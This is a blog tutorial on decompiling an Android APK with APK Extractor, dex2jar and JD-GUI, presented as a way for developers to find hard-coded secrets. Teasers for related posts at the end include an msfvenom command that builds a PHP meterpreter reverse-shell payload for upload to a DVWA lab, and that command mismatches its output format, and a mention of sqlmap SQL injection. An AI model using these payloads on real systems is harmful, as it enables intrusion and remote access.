How To Reverse Engineer An Android Application

-

Very first rule of the security is to never trust the security on the client-side in context of Android mobile app. The Client-side is not an environment we control and thus we should not rely on it by hard-coding or storing secrets that can disrupt our system. So the best way to secure your apps and do not getting caught by developers and hackers is to reverse engineer the application by yourself and fix the issues if possible.

 

Many Android developers fail to realize that the Android app they build can be easily reverse engineered. If you are one of them developers who think hard-coding secret keys or even storing it in gradle file will prevent it from going into the hands of hackers or other developers, you are wrong.


So, let’s get started. For reverse engineering an application, we would need a few things beforehand —

  • Java Decompiler Tool (I used JD-JUI in this article) to view the decompiled code.
  • dex2jar utility 
  • APK of the application.

Basic understanding of the Android app.

STEP-1: We would need the APK of the application we want to reverse-engineering. There are many ways to do that but a simple way that install the APK Extractor app from google play store on your device. Open APK Extractor app and select the application from the list inside the application. Once done, open File Explorer and go to the ExtractedApks folder present in the Internal Storage directory. There, you will find the .apk file. Copy that .apk file to your system and proceed with the STEP-2.

STEP-2: Once you have .apk file we will reverse it know and   view the code. For that,  rename .apk to .zip and  Extract the zip file

Here, we will rename our {app}.apk file to {app}.zip and extract it.

Inside the extracted folder, we will find the classes.dex file which contains the application code. A DEX file is Zipped Dalvik Executable(.dex) file which contains the compiled code and runs on the Android platform. DEX files consist of the following components:

  • File Header
  • String Table
  • Class List
  • Field Table
  • Method Table
  • Class Definition Table
  • Field List
  • Method List
  • Code Header
  • Local Variable List

For further information on .dex files, refer to the official Android documentation.

STEP-3: Now, we will use the classes.dex file we took from the APK zip file and convert it to JAR. For that, we require ‘dex2jar’ open-source tool which is available on sourceforge or github. Download the latest available zip file and extract it.

STEP-4: Copy the extracted classes.dex file which is we find it in STEP-2  and paste it inside the ‘dex2jar-x.x’ directory.

STEP-5: Open Terminal on your machine and go to the ‘dex2jar-x.x’ directory.  Now we will run the command -

d2j-dex2jar.bat classes.dex

This will convert the classes.dex file to a classes-dex2jar.jar file which we can view using any decompiler Tool.

STEP-6: We will use JD-JUI which is a simple Java decompiler tool. You can get it from java-decompiler.github.io. Download and extract the zip. Run the jd-gui.exe and open the classes-dex2jar.jar file and Voila! We reverse-engineered the application!!

In some cases, it is required to remove the code obfuscation, then you will get the source code.

Comments

Post a Comment

Popular posts from this blog

Exploiting a Web Server - Using msfvenom generated PHP Web Payload

-
Image
 Exploiting a Web Server - Using msfvenom generated PHP Web Payload  This exploit uses some of the file upload functions of the DVWA web site to demonstrate how to hack through the site itself. A hacker would use this type of vulnerability to gain access to web applications, servers, and data. We will start by creating a pre-prepared PHP code that we will upload to the web server through the upload functionality provide by DVWA.  For this exercise, I hosted DVWA application in XAMPP on my host operating system. I will generate PHP code using msfvenom on Kali Linux which is hosted/run on oracle VBOX. On the Kali Linux, run the following command to generate PHP Web Payload: $ msfvenom -p php/meterpreter/reverse_tcp LHOST=<Local IP>  LPORT=<Local Port>  -f raw > phpshell.php For example, $ msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=4444 -f exe > phpshell.exe Here, 192.168.0.2 is a IP Address of Kali Server It will generate fo...
Read more

Automate SQL Injection Exploitation with SqlMap - DVWA

-
Automate SQL Injection Exploitation with SqlMap - Damn Vulnerable Web App ( DVWA) What is a SQL Injection? SQL injection is a technique often used to attack data driven applications. SQL injection is considered a high risk vulnerability due to the fact that can lead to full compromise of the web application. This is why in almost all web application penetration testing engagements, the applications are always checked for SQL injection flaws. A general and simple definition of when an application is vulnerable to SQL injection is when the application allows you to interact with the database and to execute queries on the database then it is vulnerable to SQL injection attacks. This is done by crafted parameter/statements passed as input (HTML form) in an attempt to get the website to pass a newly formed SQL command to the database (e.g., dump the database contents to the attacker). SQL injection is a code injection technique that exploits a vulnerability in an web application's code....
Read more

How To Imitate (Replicate) pbcopy And pbpaste Commands On Linux

-
Image
How To I mitate (Replicate ) pbcopy And pbpaste Commands On Linux pbcopy  on a mac enables you to copy the standard input from terminal window to your clipboard enabling you to paste it to other applications.  This functionality is not   available  by default on  Ubuntu / Linux  but can be easily imitate using  available Linux commands You can  imitate  pbcopy and  pbpaste     on ubuntu/linux by using similar tool called  xclip which does exactly the same.  However its syntax is a little complicated  it required more options/switches. So,  I am going to  imitate  it with  pbcopy and pbpaste command. Fortunately, OS X and Linux *nix based we can make use of the The alias c ommand to replicate the pbcopy and pbpaste functionality in ubuntu/linux. If you haven’t previously installed xclip simply run the following command in your terminal:    $  sudo apt-get install xclip -y Edit y...
Read more